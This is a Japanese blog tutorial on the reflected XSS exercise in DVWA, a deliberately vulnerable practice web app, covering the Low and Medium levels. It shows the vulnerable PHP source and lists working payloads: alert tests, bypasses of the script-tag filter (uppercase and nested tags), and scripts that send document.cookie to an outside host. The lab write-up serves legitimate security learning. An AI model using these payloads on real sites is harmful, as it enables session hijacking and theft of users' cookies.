DVWAのXSS reflectedの脆弱性の演習

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

意図的に脆弱性が存在するWebサーバであるDVWAのXSS reflectedカテゴリの脆弱性の演習の流れを記載します。
XSS reflectedの脆弱性を悪用されると、Webサイトが動的に作成するコンテンツ中にスクリプトを埋め込むことで意図しないコードが実行される可能性があります。
DVWAでは3段階(Low、Medium、High)のレベルに分かれて問題が出題されており、LowとMediumの演習の手順を記載します。

DVWAの概要や導入方法は「DVWA(Damn Vulnerable Web Application)を構築してみた」をご確認ください。

※本記事に記載している攻撃を自身が管理しているサーバ以外に攻撃した場合は、犯罪になりますので注意してください。
※本記事に記載している内容を行った場合でも私は責任を取れませんので、実施する際は注意してください。


DVWAのレベルの設定変更手順

DVWAで設定できる問題の難易度の3段階(Low、Medium、High)の設定方法のやり方を記載します。

(1) 「DVWA Security」をクリックして、「Security Level is currently 〇〇〇」に記載されている現在のレベルを確認します。その後、レベルを選択して、「Submit」をクリックします。
DVWAのレベルの設定変更(1)

(2) 「Security Level is currently 〇〇〇」の表記が変わったことを確認します。
DVWAのレベルの設定変更(2)

DVWAのXSS reflected攻撃のやり方(レベル:Low)

(1) DVWAのXSS reflected演習のソースコードは以下の通りです。

 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {
        
 echo '<pre>';
 echo 'Hello ' . $_GET['name'];
 echo '</pre>';
    
}

?> 


(2) ユーザの入力値(nameパラメータ)をエスケープ処理などを行わずに、表示していますので、XSS(クロスサイトスクリプティング)の脆弱性があります。例えば、以下のような文字列を送信すると、任意のJavaScriptのプログラムを実行できます。

【例1:JavaScriptが実行されるか確認するために、ポップアップを表示する】
<script>alert("aaaa");</script>

【例2:別のページ(Googleのサイト)に遷移させる】
<script>window.location.href='https://www.google.com/';</script>

【例3:別のページ(Googleのサイト)にクッキーの情報を送る】
<script>window.location.href='https://www.google.com/?cookie=' + document.cookie;</script>

DVWAのXSS reflected脆弱性(1)

DVWAのXSS reflected脆弱性(2)


DVWAのXSS reflected攻撃のやり方(レベル:Medium)

(1) DVWAのXSS reflectedの演習のソースコードは以下の通りです。

 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 echo '<pre>';
 echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
 echo '</pre>'; 

}

?> 


(2) 演習のレベルLowと比較すると、以下の内容が追記されていますので、nameパラメータで取得した文字列をstr_replace関数で「<script>」を削除します。

 echo 'Hello ' . str_replace('<script>', '', $_GET['name']);


(3) ユーザの入力値(nameパラメータ)を<script>以外は表示していますので、XSS(クロスサイトスクリプティング)の対策としては不十分で脆弱性があります。例えば、以下のような文字列を送信すると、任意のJavaScriptのプログラムを実行できます。

【例1:scriptを大文字にして、JavaScriptを実行する】
<SCRIPT>alert("aaaa");</script>

【例2:<scr<script>ipt>を入れて、中にある<script>が削除されるため、JavaScriptを実行する】
<scr<script>ipt>alert("aaaa");</script>

【例3:別のページ(Googleのサイト)に遷移させる】
<SCRIPT>window.location.href='https://www.google.com/';</script>

【例4:別のページ(Googleのサイト)にクッキーの情報を送る】
<SCRIPT>window.location.href='https://www.google.com/?cookie=' + document.cookie;</script>


DVWAのXSS reflected脆弱性(3)

DVWAのXSS reflected脆弱性(4)

DVWAに関する記事

DVWAについての関連記事は以下の通りです。
必要に応じて、ご確認ください。

Noタイトル記事の概要
1DVWA(Damn Vulnerable Web Application)
を構築してみた
DVWAのバージョン1.0.7の構築手順を記載します。
2DVWAのBrute Forceの脆弱性の演習DVWAの環境を用いてBrute Force攻撃の
演習の例を記載します。
3DVWAのCommand Executionの脆弱性の演習DVWAの環境を用いてCommand Execution攻撃の
演習の例を記載します。
4DVWAのCross Site Request Forgery (CSRF)の
脆弱性の演習
DVWAの環境を用いてCSRF攻撃の
演習の例を記載します。
5DVWAのFile Inclusionの脆弱性の演習DVWAの環境を用いてFile Inclusionの脆弱性を
悪用した攻撃の演習の例を記載します。
6DVWAのSQL Injectionの脆弱性の演習DVWAの環境を用いてSQL Injection攻撃の
演習の例を記載します。
7DVWAのFile Uploadの脆弱性の演習DVWAの環境を用いてFile Uploadの脆弱性を
悪用した攻撃の演習の例を記載します。
8DVWAのXSS reflectedの脆弱性の演習DVWAの環境を用いてXSS reflected攻撃の
演習の例を記載します。
9DVWAのXSS storedの脆弱性の演習DVWAの環境を用いてXSS stored攻撃の
演習の例を記載します。